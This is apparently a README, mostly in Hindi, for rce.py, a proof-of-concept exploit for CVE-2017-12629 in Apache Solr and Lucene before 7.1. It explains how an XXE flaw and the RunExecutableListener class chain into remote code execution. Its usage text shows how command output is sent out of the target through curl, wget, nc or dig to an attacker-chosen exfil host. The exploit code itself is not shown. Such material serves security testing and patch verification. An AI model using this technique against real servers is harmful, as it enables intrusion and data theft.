
Apache Solr 7.1 से पहले और Apache Lucene 7.1 से पहले, XXE का फायदा उठाकर Config API के add-listener कमांड के माध्यम से RunExecutableListener क्लास तक पहुँचने से रिमोट कोड एक्ज़ीक्यूशन होता है।
Apache Solr 7.1 से पहले और Apache Lucene 7.1 से पहले में रिमोट कोड एक्जीक्यूशन होता है, जो XXE का फायदा उठाकर Config API add-listener कमांड के साथ RunExecutableListener वर्ग तक पहुँचने के कारण होता है। Elasticsearch, हालाँकि यह Lucene का उपयोग करता है, इस कमजोरी से प्रभावित नहीं है। ध्यान दें कि XML एक्सटर्नल एंटिटी विस्तार कमजोरी XML Query Parser में होती है, जो डिफ़ॉल्ट रूप से किसी भी क्वेरी अनुरोध के लिए पैरामीटर deftype=xmlparser के साथ उपलब्ध है, और इसका उपयोग /upload अनुरोध हैंडलर पर दुर्भावनापूर्ण डेटा अपलोड करने या ftp रैपर का उपयोग करके Blind XXE के रूप में Solr सर्वर से स्थानीय फ़ाइलों को पढ़ने के लिए किया जा सकता है। यह भी ध्यान दें कि दूसरी कमजोरी Solr के सभी प्रभावित संस्करणों पर उपलब्ध RunExecutableListener का उपयोग करके रिमोट कोड एक्जीक्यूशन से संबंधित है।
कमांड आउटपुट को OOB (आउट-ऑफ-बैंड) भेजा जाना चाहिए। इस POC में Hex और Base32 प्रारूपों के लिए समर्थन शामिल है, जो दोनों ही केस-असंवेदनशील हैं।
usage: rce.py [-h] -ue URL_BASE_EXTERNAL -ui URL_BASE_INTERNAL [-b {curl,wget,ftp,ping,nc,ncat,nslookup,dig}] -e EXFIL
[-f {hex,base32}]
POC for CVE-2017-12629 (RCE via internal SSRF via XXE) by @realCaptainWoof
options:
-h, --help show this help message and exit
-ue, --url-base-external URL_BASE_EXTERNAL
External URL base of the vulnerable application; e.g, 'https://vulnerable.app/solr'
-ui, --url-base-internal URL_BASE_INTERNAL
Internal URL base of the vulnerable application; e.g, 'https://127.0.0.1:8983'; default:
'https://127.0.0.1:8983'
-b, --bin {curl,wget,ftp,ping,nc,ncat,nslookup,dig}
How to exfiltrate command output from target; default: 'curl'
-e, --exfil EXFIL Destination to exfil to. Make sure this corresponds to '--bin'; e.g, if '--bin' is 'curl', '--exfil' can
be 'http://EXFIL.myserver.com/EXFIL'. Must specify injection point via 'EXFIL' keyword.
-f, --exfil-format {hex,base32}
Format in which to exfil the command output; default: 'base32'